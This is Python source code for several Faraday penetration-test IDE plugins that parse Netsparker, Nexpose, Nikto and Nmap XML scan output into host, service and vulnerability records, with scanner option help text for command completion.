113 self.paramval = self.get_text_from_subnode("vulnerableparametervalue")
114 self.request = self.get_text_from_subnode("rawrequest")
115 self.response = self.get_text_from_subnode("rawresponse")
116 if self.response:
117 self.response=self.response.encode("base64")[:-1]
118 if self.request:
119 self.request=self.request.encode("base64")[:-1]
120
121 self.kvulns=[]
122 for v in self.node.findall("knownvulnerabilities/knownvulnerability"):
123 self.node = v
124 self.kvulns.append(self.get_text_from_subnode("severity")+"-"+self.get_text_from_subnode("title"))
125
126
127 self.extra=[]
128 for v in item_node.findall("extrainformation/info"):
129 self.extra.append(v.get('name')+ ":" +v.text)
130
131
132 self.node = item_node
133 self.node = item_node.find("classification")
134 self.owasp=self.get_text_from_subnode("OWASP")
135 self.wasc=self.get_text_from_subnode("WASC")
136 self.cwe=self.get_text_from_subnode("CWE")
137 self.capec=self.get_text_from_subnode("CAPEC")
138 self.pci=self.get_text_from_subnode("PCI")
139 self.pci2=self.get_text_from_subnode("PCI2")
140
141 self.ref=[]
142 if self.cwe:
143 self.ref.append("CWE-"+self.cwe)
144 if self.owasp:
145 self.ref.append("OWASP-"+self.owasp)
146
147 self.desc = ""
148 self.desc += "\nKnowVulns: " + "\n".join(self.kvulns) if self.kvulns else ""
149 self.desc += "\nWASC: " +self.wasc if self.wasc else ""
150 self.desc += "\nPCI: " +self.pci if self.pci else ""
151 self.desc += "\nPCI2: " +self.pci2 if self.pci2 else ""
152 self.desc += "\nCAPEC: " +self.capec if self.capec else ""
153 self.desc += "\nPARAM: " +self.param if self.param else ""
154 self.desc += "\nPARAM VAL: " +repr(self.paramval) if self.paramval else ""
155 self.desc += "\nExtra: " + "\n".join(self.extra) if self.extra else ""
156
157
158 def get_text_from_subnode(self, subnode_xpath_expr):
159 """
160 Finds a subnode in the host node and the retrieves a value from it.
161
162 @return An attribute value
163 """
164 if self.node:
165 sub_node = self.node.find(subnode_xpath_expr)
166 if sub_node is not None:
167 return sub_node.text
168
169 return None
170
171
172 class NetsparkerPlugin(core.PluginBase):
173 """
174 Example plugin to parse netsparker output.
175 """
176 def __init__(self):
177 core.PluginBase.__init__(self)
178 self.id = "Netsparker"
179 self.name = "Netsparker XML Output Plugin"
180 self.plugin_version = "0.0.1"
181 self.version = "Netsparker 3.1.1.0"
182 self.framework_version = "1.0.0"
183 self.options = None
184 self._current_output = None
185 self._command_regex = re.compile(r'^(sudo netsparker|\.\/netsparker).*?')
186
187 global current_path
188 self._output_file_path = os.path.join(self.data_path,
189 "netsparker_output-%s.xml" % self._rid)
190
191 def resolve(self,host):
192 try:
193 return socket.gethostbyname(host)
194 except:
195 pass
196 return host
197
198 def parseOutputString(self, output, debug = False):
199
200
201 parser = NetsparkerXmlParser(output)
202 first=True
203 for i in parser.items:
204 if first:
205 ip = self.resolve(i.hostname)
206 h_id = self.createAndAddHost(ip)
207 i_id = self.createAndAddInterface(h_id, ip,ipv4_address=ip, hostname_resolution=i.hostname)
208
209 s_id = self.createAndAddServiceToInterface(h_id, i_id, str(i.port),
210 str(i.protocol),
211 ports = [str(i.port)],
212 status = "open")
213
214 n_id = self.createAndAddNoteToService(h_id,s_id,"website","")
215 n2_id = self.createAndAddNoteToNote(h_id,s_id,n_id,i.hostname,"")
216 first=False
217
218 v_id=self.createAndAddVulnWebToService(h_id, s_id,i.name,ref=i.ref,website=i.hostname,
219 severity=i.severity,desc=i.desc, path=i.url,method=i.method,
220 request=i.request, response=i.response,pname=i.param)
221
222 del parser
223
224 def processCommandString(self, username, current_path, command_string):
225 return None
226
227
228 def setHost(self):
229 pass
230
231
232 def createPlugin():
233 return NetsparkerPlugin()
234
235 if __name__ == '__main__':
236 parser = NetsparkerXmlParser(sys.argv[1])
237 for item in parser.items:
238 if item.status == 'up':
239 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import pprint
15 import sys
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Francisco Amato"
30 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
31 __credits__ = ["Francisco Amato"]
32 __license__ = ""
33 __version__ = "1.0.0"
34 __maintainer__ = "Francisco Amato"
35 __email__ = "[email protected]"
36 __status__ = "Development"
37
38
39 class NexposeXmlParser(object):
40 """
41 The objective of this class is to parse an xml file generated by the nexpose tool.
42
43 TODO: Handle errors.
44 TODO: Test nexpose output version. Handle what happens if the parser doesn't support it.
45 TODO: Test cases.
46
47 @param nexpose_xml_filepath A proper xml generated by nexpose
48 """
49 def __init__(self, xml_output):
50 tree = self.parse_xml(xml_output)
51 if tree:
52 self.items = [data for data in self.get_items(tree)]
53 else:
54 self.items = []
55
56 def parse_xml(self, xml_output):
57 """
58 Open and parse an xml file.
59
60 TODO: Write custom parser to just read the nodes that we need instead of
61 reading the whole file.
62
63 @return xml_tree An xml tree instance. None if error.
64 """
65 try:
66 tree = ET.fromstring(xml_output)
67 except SyntaxError, err:
68 print "SyntaxError: %s. %s" % (err, xml_output)
69 return None
70
71 return tree
72
73 def get_items(self, tree):
74 """
75 @return items A list of Host instances
76 """
77 for node in tree.findall("devices/device"):
78 yield Item(node)
79
80
81
82
83 class Item(object):
84 """
85 An abstract representation of a Item
86
87
88 @param item_node A item_node taken from an nexpose xml tree
89 """
90 def __init__(self, item_node):
91 self.node = item_node
92 self.ip = item_node.get('address')
93 self.os = self.get_text_from_subnode("fingerprint/description")
94
95 self.vulns=self.getResults(item_node)
96
97 self.srv=[]
98
99 for srv in item_node.findall("services/service"):
100 item={}
101 self.node=srv
102 item['name']=srv.get('name')
103 item['port']=srv.get('port')
104 item['protocol']=srv.get('protocol')
105 item['version']=self.get_text_from_subnode("fingerprint/description")
106 item['vulns']=self.getResults(srv)
107 self.srv.append(item)
108
109 def getResults(self, tree):
110 """
111 :param tree:
112 """
113 for self.issues in tree.findall("vulnerabilities/vulnerability"):
114 yield Results(self.issues)
115
116 def get_text_from_subnode(self, subnode_xpath_expr):
117 """
118 Finds a subnode in the host node and the retrieves a value from it.
119
120 @return An attribute value
121 """
122 sub_node = self.node.find(subnode_xpath_expr)
123 if sub_node is not None:
124 return sub_node.text
125
126 return None
127
128 class Results():
129 def __init__(self, issue_node):
130 self.node = issue_node
131 self.name=issue_node.get('id')
132 self.ref=[]
133 data=self.get_text_from_subnode("id/[@type='cve']")
134 if data:
135 self.ref.append(data)
136
137 data=self.get_text_from_subnode("id/[@type='bid']")
138 if data:
139 self.ref.append("bid-"+data)
140
141 data=self.get_text_from_subnode("id/[@type='osvdb']")
142 if data:
143 self.ref.append("osvdb-"+data)
144
145 for v in issue_node.findall ("id/[@type='secunia']"):
146 self.ref.append("secunia-"+v.text)
147
148 for v in issue_node.findall ("id/[@type='url']"):
149 self.ref.append("url-"+v.text)
150
151 self.url=self.get_text_from_subnode("key")
152
153
154 def get_text_from_subnode(self, subnode_xpath_expr):
155 """
156 Finds a subnode in the host node and the retrieves a value from it.
157
158 @return An attribute value
159 """
160 sub_node = self.node.find(subnode_xpath_expr)
161 if sub_node is not None:
162 return sub_node.text
163
164 return None
165
166 class NexposePlugin(core.PluginBase):
167 """
168 Example plugin to parse nexpose output.
169 """
170 def __init__(self):
171 core.PluginBase.__init__(self)
172 self.id = "Nexpose"
173 self.name = "Nexpose XML Output Plugin"
174 self.plugin_version = "0.0.1"
175 self.version = "Nexpose Enterprise 5.7.19"
176 self.framework_version = "1.0.0"
177 self.options = None
178 self._current_output = None
179 self._command_regex = re.compile(r'^(sudo nexpose|\.\/nexpose).*?')
180
181 global current_path
182 self._output_file_path = os.path.join(self.data_path,
183 "nexpose_output-%s.xml" % self._rid)
184
185 def parseOutputString(self, output, debug = False):
186
187
188 parser = NexposeXmlParser(output)
189 for item in parser.items:
190 h_id = self.createAndAddHost(item.ip,item.os)
191 i_id = self.createAndAddInterface(h_id, item.ip,ipv4_address=item.ip, hostname_resolution=item.ip)
192
193 for v in item.vulns:
194 v_id=self.createAndAddVulnToHost(h_id,v.name,ref=v.ref)
195
196 for s in item.srv:
197 web=False
198 s_id = self.createAndAddServiceToInterface(h_id, i_id, s['name'],
199 s['protocol'],
200 ports = [str(s['port'])],
201 status = "open",
202 version=s['version'])
203 for v in s['vulns']:
204 if v.url:
205 v_id=self.createAndAddVulnWebToService(h_id, s_id,v.name,ref=v.ref,website=item.ip,path=v.url)
206 if not web:
207 n_id = self.createAndAddNoteToService(h_id,s_id,"website","")
208 n2_id = self.createAndAddNoteToNote(h_id,s_id,n_id,item.ip,"")
209 web=True
210 else:
211 v_id=self.createAndAddVulnToService(h_id, s_id,v.name,ref=v.ref)
212 del parser
213
214 def processCommandString(self, username, current_path, command_string):
215 return None
216
217
218 def setHost(self):
219 pass
220
221
222 def createPlugin():
223 return NexposePlugin()
224
225 if __name__ == '__main__':
226 parser = NexposeXmlParser(sys.argv[1])
227 for item in parser.items:
228 if item.status == 'up':
229 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import pprint
15 import sys
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 __author__ = "Francisco Amato"
30 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
31 __credits__ = ["Facundo de Guzmán", "Francisco Amato"]
32 __license__ = ""
33 __version__ = "1.0.0"
34 __maintainer__ = "Francisco Amato"
35 __email__ = "[email protected]"
36 __status__ = "Development"
37
38
39
40
41
42 class NiktoXmlParser(object):
43 """
44 The objective of this class is to parse an xml file generated by the nikto tool.
45
46 TODO: Handle errors.
47 TODO: Test nikto output version. Handle what happens if the parser doesn't support it.
48 TODO: Test cases.
49
50 @param nikto_xml_filepath A proper xml generated by nikto
51 """
52 def __init__(self, xml_output):
53 tree = self.parse_xml(xml_output)
54
55 if tree:
56 self.hosts = [host for host in self.get_hosts(tree)]
57 else:
58 self.hosts = []
59
60
61 def parse_xml(self, xml_output):
62 """
63 Open and parse an xml file.
64
65 TODO: Write custom parser to just read the nodes that we need instead of
66 reading the whole file.
67
68 @return xml_tree An xml tree instance. None if error.
69 """
70 try:
71 tree = ET.fromstring(xml_output)
72 except SyntaxError, err:
73 print "SyntaxError: %s. %s" % (err, xml_output)
74 return None
75
76 return tree
77
78 def get_hosts(self, tree):
79 """
80 @return items A list of Host instances
81 """
82 for host_node in tree.findall('scandetails'):
83 yield Host(host_node)
84
85
86
87
88 def get_attrib_from_subnode(xml_node, subnode_xpath_expr, attrib_name):
89 """
90 Finds a subnode in the item node and the retrieves a value from it
91
92 @return An attribute value
93 """
94 global ETREE_VERSION
95 node = None
96
97 if ETREE_VERSION[0] <= 1 and ETREE_VERSION[1] < 3:
98
99 match_obj = re.search("([^\@]+?)\[\@([^=]*?)=\'([^\']*?)\'",subnode_xpath_expr)
100 if match_obj is not None:
101 node_to_find = match_obj.group(1)
102 xpath_attrib = match_obj.group(2)
103 xpath_value = match_obj.group(3)
104 for node_found in xml_node.findall(node_to_find):
105 if node_found.attrib[xpath_attrib] == xpath_value:
106 node = node_found
107 break
108 else:
109 node = xml_node.find(subnode_xpath_expr)
110
111 else:
112 node = xml_node.find(subnode_xpath_expr)
113
114 if node is not None:
115 return node.get(attrib_name)
116
117 return None
118
119
120
121
122
123 class Item(object):
124 """
125 An abstract representation of a Item
126
127 TODO: Consider evaluating the attributes lazily
128 TODO: Write what's expected to be present in the nodes
129 TODO: Refactor both Host and the Port clases?
130
131 @param item_node A item_node taken from an nikto xml tree
132 """
133 def __init__(self, item_node):
134 self.node = item_node
135
136 self.id_nikto = self.node.get('id')
137
138 self.osvdbid = ["BID-"+self.node.get('osvdbid')] if self.node.get('osvdbid') != "0" else []
139 self.osvdblink = self.node.get('osvdbidlink')
140 self.method = self.node.get('method')
141 self.desc = self.get_text_from_subnode('description')
142 self.uri = self.get_text_from_subnode('uri')
143 self.namelink = self.get_text_from_subnode('namelink')
144 self.iplink = self.get_text_from_subnode('iplink')
145
146
147 def get_text_from_subnode(self, subnode_xpath_expr):
148 """
149 Finds a subnode in the host node and the retrieves a value from it.
150
151 @return An attribute value
152 """
153 sub_node = self.node.find(subnode_xpath_expr)
154 if sub_node is not None:
155 return sub_node.text
156
157 return None
158
159 def __str__(self):
160 ports = []
161 for port in self.ports:
162 var = " %s" % port
163 ports.append(var)
164 ports = "\n".join(ports)
165
166 return "%s, %s, %s [%s], %s\n%s" % (self.hostnames, self.status,
167 self.ipv4_address, self.mac_address, self.os, ports)
168
169 class Host(object):
170 """
171 An abstract representation of a Host
172
173 @param host_node A host_node taken from an nmap xml tree
174 """
175 def __init__(self, host_node):
176 self.node = host_node
177 self.targetip = self.node.get('targetip')
178 self.targethostname = self.node.get('targethostname')
179 self.port = self.node.get('targetport')
180 self.targetbanner = self.node.get('targetbanner')
181 self.starttime = self.node.get('starttime')
182 self.sitename = self.node.get('sitename')
183 self.siteip = self.node.get('hostheader')
184 self.items = [item for item in self.get_items()]
185
186 def get_items(self):
187 """
188 @return items A list of Host instances
189 """
190 for item_node in self.node.findall('item'):
191 yield Item(item_node)
192
193 def __str__(self):
194 ports = []
195 for port in self.ports:
196 var = " %s" % port
197 ports.append(var)
198 ports = "\n".join(ports)
199
200 return "%s, %s, %s [%s], %s\n%s" % (self.hostnames, self.status,
201 self.ipv4_address, self.mac_address, self.os, ports)
202
203
204 class NiktoPlugin(core.PluginBase):
205 """
206 Example plugin to parse nikto output.
207 """
208 def __init__(self):
209 core.PluginBase.__init__(self)
210 self.id = "Nikto"
211 self.name = "Nikto XML Output Plugin"
212 self.plugin_version = "0.0.2"
213 self.version = "2.1.5"
214 self.options = None
215 self._current_output = None
216 self.parent = None
217 self._command_regex = re.compile(r'^(sudo nikto|nikto|sudo nikto\.pl|nikto\.pl|perl nikto\.pl|\.\/nikto\.pl|\.\/nikto).*?')
218 self._completition = {
219 "":"",
220 "-ask+":"Whether to ask about submitting updates",
221 "-Cgidirs+":'Scan these CGI dirs: "none", "all", or values like "/cgi/ /cgi-a/"',
222 "-config+":"Use this config file",
223 "-Display+":"Turn on/off display outputs:",
224 "-dbcheck":"Check database and other key files for syntax errors",
225 "-evasion+":"Encoding technique:",
226 "-Format+":"Save file (-o) format:",
227 "-Help":"Extended help information",
228 "-host+":"Target host",
229 "-IgnoreCode":"Ignore Codes--treat as negative responses",
230 "-id+":"Host authentication to use, format is id:pass or id:pass:realm",
231 "-key+":"Client certificate key file",
232 "-list-plugins":"List all available plugins, perform no testing",
233 "-maxtime+":"Maximum testing time per host",
234 "-mutate+":"Guess additional file names:",
235 "-mutate-options":"Provide information for mutates",
236 "-nointeractive":"Disables interactive features",
237 "-nolookup":"Disables DNS lookups",
238 "-nossl":"Disables the use of SSL",
239 "-no404":"Disables nikto attempting to guess a 404 page",
240 "-output+":"Write output to this file ('.' for auto-name)",
241 "-Pause+":"Pause between tests (seconds, integer or float)",
242 "-Plugins+":"List of plugins to run (default: ALL)",
243 "-port+":"Port to use (default 80)",
244 "-RSAcert+":"Client certificate file",
245 "-root+":"Prepend root value to all requests, format is /directory",
246 "-Save":"Save positive responses to this directory ('.' for auto-name)",
247 "-ssl":"Force ssl mode on port",
248 "-Tuning+":"Scan tuning:",
249 "-timeout+":"Timeout for requests (default 10 seconds)",
250 "-Userdbs":"Load only user databases, not the standard databases",
251 "-until":"Run until the specified time or duration",
252 "-update":"Update databases and plugins from CIRT.net",
253 "-useproxy":"Use the proxy defined in nikto.conf",
254 "-Version":"Print plugin and database versions",
255 "-vhost+":"Virtual host (for Host header)",
256 }
257
258 global current_path
259 self._output_file_path = os.path.join(self.data_path,
260 "nikto_output-%s.xml" % self._rid)
261
262
263
264 def parseOutputString(self, output, debug = False ):
265 """
266 This method will discard the output the shell sends, it will read it from
267 the xml where it expects it to be present.
268
269 NOTE: if 'debug' is true then it is being run from a test case and the
270 output being sent is valid.
271 """
272
273 parser = NiktoXmlParser(output)
274
275 for host in parser.hosts:
276
277
278
279 h_id = self.createAndAddHost(host.targetip)
280
281
282 i_id = self.createAndAddInterface(h_id, host.targetip, ipv4_address=host.targetip,hostname_resolution=host.targethostname)
283 s_id = self.createAndAddServiceToInterface(h_id, i_id, "http",
284 "tcp",
285 ports = [host.port],
286 status = "open")
287
288 n_id = self.createAndAddNoteToService(h_id,s_id,"website","")
289 n2_id = self.createAndAddNoteToNote(h_id,s_id,n_id,host.targethostname,"")
290
291 for item in host.items:
292 v_id = self.createAndAddVulnWebToService(h_id, s_id,
293 name=item.desc, ref=item.osvdbid, website=host.targethostname,
294 method=item.method, path=item.namelink,query=item.uri)
295 del parser
296
297 xml_arg_re = re.compile(r"^.*(-output\s*[^\s]+).*$")
298
299 def processCommandString(self, username, current_path, command_string):
300 """
301 Adds the -oX parameter to get xml output to the command string that the
302 user has set.
303 """
304 arg_match = self.xml_arg_re.match(command_string)
305
306
307 if arg_match is None:
308 return re.sub(r"(^.*?nikto(\.pl)?)",
309 r"\1 -output %s -Format XML" % self._output_file_path,
310 command_string)
311 else:
312 data=re.sub(" \-Format XML","",command_string)
313 return re.sub(arg_match.group(1),
314 r"-output %s -Format XML" % self._output_file_path,
315 data)
316
317 def setHost(self):
318 pass
319
320
321 def createPlugin():
322 return NiktoPlugin()
323
324 if __name__ == '__main__':
325 parser = NiktoXmlParser(sys.argv[1])
326 for item in parser.items:
327 if item.status == 'up':
328 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11
12 import re
13 import os
14 import sys
15 import random
16
17 try:
18 import xml.etree.cElementTree as ET
19 import xml.etree.ElementTree as ET_ORIG
20 ETREE_VERSION = ET_ORIG.VERSION
21 except ImportError:
22 import xml.etree.ElementTree as ET
23 ETREE_VERSION = ET.VERSION
24
25 ETREE_VERSION = [int(i) for i in ETREE_VERSION.split(".")]
26
27 current_path = os.path.abspath(os.getcwd())
28
29 class NmapXmlParser(object):
30 """
31 The objective of this class is to parse an xml file generated by the nmap tool.
32
33 TODO: Handle errors.
34 TODO: Test nmap output version. Handle what happens if the parser doesn't support it.
35 TODO: Test cases.
36
37 @param nmap_xml_filepath A proper xml generated by nmap
38 """
39 def __init__(self, xml_output):
40 tree = self.parse_xml(xml_output)
41
42 if tree:
43 self.hosts = [host for host in self.get_hosts(tree)]
44 else:
45 self.hosts = []
46
47 def parse_xml(self, xml_output):
48 """
49 Open and parse an xml file.
50
51 TODO: Write custom parser to just read the nodes that we need instead of
52 reading the whole file.
53
54 @return xml_tree An xml tree instance. None if error.
55 """
56 # with open(filepath,"r") as f:
57 # try:
58 # tree = ET.fromstring(f.read())
59 # except SyntaxError, err:
60 # print "SyntaxError: %s. %s" % (err, filepath)
61 # return None
62
63 # return tree
64 #import ipdb;ipdb.set_trace()
65 return ET.fromstring(xml_output)
66
67 def get_hosts(self, tree):
68 """
69 @return hosts A list of Host instances
70 """
71 for host_node in tree.findall('host'):
72 yield Host(host_node)
73
74
75
76 def get_attrib_from_subnode(xml_node, subnode_xpath_expr, attrib_name):
77 """
78 Finds a subnode in the host node and the retrieves a value from it
79
80 @return An attribute value
81 """
82 global ETREE_VERSION
83 node = None
84
85 if ETREE_VERSION[0] <= 1 and ETREE_VERSION[1] < 3:
86
87 match_obj = re.search("([^\@]+?)\[\@([^=]*?)=\'([^\']*?)\'",subnode_xpath_expr)
88 if match_obj is not None:
89 node_to_find = match_obj.group(1)
90 xpath_attrib = match_obj.group(2)
91 xpath_value = match_obj.group(3)
92 for node_found in xml_node.findall(node_to_find):
93 if node_found.attrib[xpath_attrib] == xpath_value:
94 node = node_found
95 break
96 else:
97 node = xml_node.find(subnode_xpath_expr)
98
99 else:
100 node = xml_node.find(subnode_xpath_expr)
101
102 if node is not None:
103 return node.get(attrib_name)
104
105 return None
106
107
108
109
110 class Host(object):
111 """
112 An abstract representation of a Host
113
114 TODO: Consider evaluating the attributes lazily
115 TODO: Write what's expected to be present in the nodes
116 TODO: Refactor both Host and the Port clases?
117
118 @param host_node A host_node taken from an nmap xml tree
119 """
120 def __init__(self, host_node):
121 self.node = host_node
122
123 self.hostnames = [hostname[0] for hostname in self.get_hostnames()]
124 if len(self.hostnames) != 0:
125 self.hostname = self.hostnames[0]
126 else:
127 self.hostname = 'unknown'
128
129 self.hostnames=list(set(self.hostnames))
130 self.status = self.get_status()
131 self.ipv4_address = self.get_ipv4_address()
132 self.ipv6_address = self.get_ipv6_address()
133 self.mac_address = self.get_mac_address()
134 self.os_guesses = [os_guess for os_guess in self.get_os_guesses()]
135 self.os = self.top_os_guess()
136 self.ports = [port for port in self.get_ports()]
137 self.vulns = [vuln for vuln in self.get_scripts()]
138 if self.os != 'unknown':
139 for p in self.ports:
140 if p.service is not None:
141 if p.service.ostype:
142 self.os=p.service.ostype
143 break
144
145
146 def get_hostnames(self):
147 """
148 Expects to find one or more '<hostname name="localhost.localdomain" type="PTR"/>'
149 in the host node.
150
151 @return A list of (hostname, hostname_type) or None
152 """
153 for hostname in self.node.findall('hostnames/hostname'):
154 yield (hostname.attrib["name"],hostname.attrib["type"])
155
156 def get_attrib_from_subnode(self, subnode_xpath_expr, attrib_name):
157 """
158 Finds a subnode in the host node and the retrieves a value from it
159
160 @return An attribute value
161 """
162 return get_attrib_from_subnode(self.node, subnode_xpath_expr, attrib_name)
163
164 def get_status(self):
165 """
166 Expects to find '<status state="up" reason="conn-refused"/>' in the node
167
168 TODO: Use 'reason'
169
170 @return An status or 'unknown'
171 """
172 status = self.get_attrib_from_subnode('status','state')
173
174 return status if status else 'unknown'
175
176 def get_ipv4_address(self):
177 """
178 Expects to find '<address addr="127.0.0.1" addrtype="ipv4"/>' in the node
179
180 @return ip_address or 'unknown'
181 """
182 ip_address = self.get_attrib_from_subnode("address[@addrtype='ipv4']",'addr')
183 return ip_address if ip_address else 'unknown'
184
185 def get_ipv6_address(self):
186 """
187 Expects to find '<address addr="127.0.0.1" addrtype="ipv6"/>' in the node
188
189 @return ip_address or 'unknown'
190 """
191 ip_address = self.get_attrib_from_subnode("address[@addrtype='ipv6']",'addr')
192 return ip_address if ip_address else 'unknown'
193
194 def get_mac_address(self):
195 """
196 Expects to find '<address addr="00:08:54:26:A9:E5" addrtype="mac" vendor="Netronix" />' in the node
197
198 @return mac_address or 'unknown'
199 """
200 mac_address = self.get_attrib_from_subnode("address[@addrtype='mac']",'addr')
201 return mac_address if mac_address else 'unknown'
202
203 def get_os_guesses(self):
204 """
205 Expects to find '<os>..<osclass type="general purpose" vendor="Microsoft" osfamily="Windows" osgen="2003" accuracy="96" />..</os>' in the node
206
207 @return A list of (os_vendor_family_gen, accuracy)
208 """
209 osclasses=self.node.findall('os/osclass')
210 if osclasses == []:
211 osclasses=self.node.findall('os/osmatch/osclass')
212
213 for osclass in osclasses:
214 os_vendor = osclass.get("vendor")
215 os_family = osclass.get("osfamily")
216 os_gen = osclass.get("osgen")
217 accuracy = osclass.get("accuracy")
218
219 yield ("%s %s %s" % (os_vendor, os_family, os_gen), accuracy)
220 def get_scripts(self):
221 """
222 Expects to find a scripts in the node.
223 """
224 for s in self.node.findall('hostscript/script'):
225 yield Script(s)
226 def top_os_guess(self):
227 """
228 @return The most accurate os_guess_id or 'unknown'.
229 """
230 return self.os_guesses[0][0] if len(self.os_guesses) != 0 else 'unknown'
231
232 def get_ports(self):
233 """
234 Expects to find one or more '<port protocol="tcp" portid="631">...</port>' in the node.
235
236 @return A list of Port instances or None
237 """
238 for port in self.node.findall('ports/port'):
239 yield Port(port)
240
241 def is_up(self):
242 """
243 Returns True if the host is up else False.
244 """
245 if self.status == 'up':
246 return True
247 else:
248 return False
249
250 def __str__(self):
251 ports = []
252 for port in self.ports:
253 var = " %s" % port
254 ports.append(var)
255 ports = "\n".join(ports)
256
257 return "%s, %s, %s [%s], %s\n%s" % (self.hostnames, self.status,
258 self.ipv4_address, self.mac_address, self.os, ports)
259
260
261 class Port(object):
262 """
263 An abstract representation of a Port.
264
265 @param port_node A port_node taken from an nmap xml tree
266 """
267 def __init__(self, port_node):
268 self.node = port_node
269
270 self.protocol = self.node.get("protocol")
271 self.number = self.node.get("portid")
272 self.state, self.reason, self.reason_ttl = self.get_state()
273 self.service = self.get_service()
274 self.vulns = [vuln for vuln in self.get_scripts()]
275
276 def get_attrib_from_subnode(self, subnode_xpath_expr, attrib_name):
277 """
278 Finds a subnode in the host node and the retrieves a value from it.
279
280 @return An attribute value
281 """
282 return get_attrib_from_subnode(self.node, subnode_xpath_expr, attrib_name)
283
284 def get_state(self):
285 """
286 Expects to find a '<state state="open" reason="syn-ack" reason_ttl="0"/>' in the node.
287
288 @return (state, reason, reason_ttl) or ('unknown','unknown','unknown')
289 """
290 state = self.get_attrib_from_subnode('state','state')
291 reason = self.get_attrib_from_subnode('state','reason')
292 reason_ttl = self.get_attrib_from_subnode('state','reason_ttl')
293
294 return (state if state else 'unknown',
295 reason if reason else 'unknown',
296 reason_ttl if reason_ttl else 'unknown')
297
298 def get_service(self):
299 """
300 Expects to find a service in the node.
301 """
302 service_node = self.node.find('service')
303 if service_node is not None:
304 return Service(service_node)
305
306 return None
307
308 def get_scripts(self):
309 """
310 Expects to find a scripts in the node.
311 """
312 for s in self.node.findall('script'):
313 yield Script(s)
314
315
316 def __str__(self):
317 return "%s, %s, Service: %s" % (self.number, self.state, self.service)
318
319 class Script(object):
320 """
321 An abstract representation of a Script.
322
323 '<script id="http-methods" output="No Allow or Public header in OPTIONS response (status code 400)"/><script id="http-title" output="Document Error: Unauthorized"><elem key="title">Document Error: Unauthorized</elem></script>'
324
325 @param script_node A script_node taken from an nmap xml tree
326 """
327 def __init__(self, script_node):
328 self.node = script_node
329
330 self.name = script_node.get("id")
331 self.desc = script_node.get("output")
332 self.response=""
333 for k in script_node.findall("elem"):
334 self.response +="\n"+str(k.get('key')) + ": " +str(k.text)
335 self.web = True if re.search("(http-|https-)",self.name) else False
336
337 def __str__(self):
338 return "%s, %s, %s" % (self.name, self.product, self.version)
339
340 class Service(object):
341 """
342 An abstract representation of a Service.
343
344 '<service name="ipp" product="CUPS" version="1.4" method="probed" conf="10"/>'
345
346 @param service_node A service_node taken from an nmap xml tree
347 """
348 def __init__(self, service_node):
349 self.node = service_node
350
351 name = service_node.get("name")
352 self.name = name if name else 'unknown'
353
354 product = service_node.get("product")
355 self.product = product if product else 'unknown'
356
357 version = service_node.get("version")
358 self.version = version if version else 'unknown'
359
360 self.method = service_node.get("method")
361 self.conf = service_node.get("conf")
362 self.ostype = self.node.get("ostype")
363
364 def __str__(self):
365 return "%s, %s, %s" % (self.name, self.product, self.version)
366
367
368 class NmapPlugin(core.PluginBase):
369 """
370 Example plugin to parse nmap output.
371 """
372 def __init__(self):
373 core.PluginBase.__init__(self)
374 self.id = "Nmap"
375 self.name = "Nmap XML Output Plugin"
376 self.plugin_version = "0.0.2"
377 self.version = "6.40"
378 self.framework_version = "1.0.0"
379 self.options = None
380 self._current_output = None
381 self._command_regex = re.compile(r'^(sudo nmap|nmap|\.\/nmap).*?')
382 self._completition = {
383 '' : '',
384 "-iL":"&lt;inputfilename&gt;: Input from list of hosts/networks",
385 "-iR":"&lt;num hosts&gt;: Choose random targets",
386 "--exclude":"&lt;host1[,host2][,host3],...&gt;: Exclude hosts/networks",
387 "--excludefile":"&lt;exclude_file&gt;: Exclude list from file",
388 "-sL:":"List Scan - simply list targets to scan",
389 "-sn:":"Ping Scan - disable port scan",
390 "-Pn:":"Treat all hosts as online -- skip host discovery",
391 "-PS:":"[portlist] TCP SYN/ACK, UDP or SCTP discovery to given ports",
392 "-PA:":"[portlist] TCP SYN/ACK, UDP or SCTP discovery to given ports",
393 "-PU:":"[portlist] TCP SYN/ACK, UDP or SCTP discovery to given ports",
394 "-PY:":"[portlist] TCP SYN/ACK, UDP or SCTP discovery to given ports",
395 "-PE:":"ICMP echo, timestamp, and netmask request discovery probes",
396 "-PP:":"ICMP echo, timestamp, and netmask request discovery probes",
397 "-PM:":"ICMP echo, timestamp, and netmask request discovery probes",
398 "-PO":"[protocol list]: IP Protocol Ping",
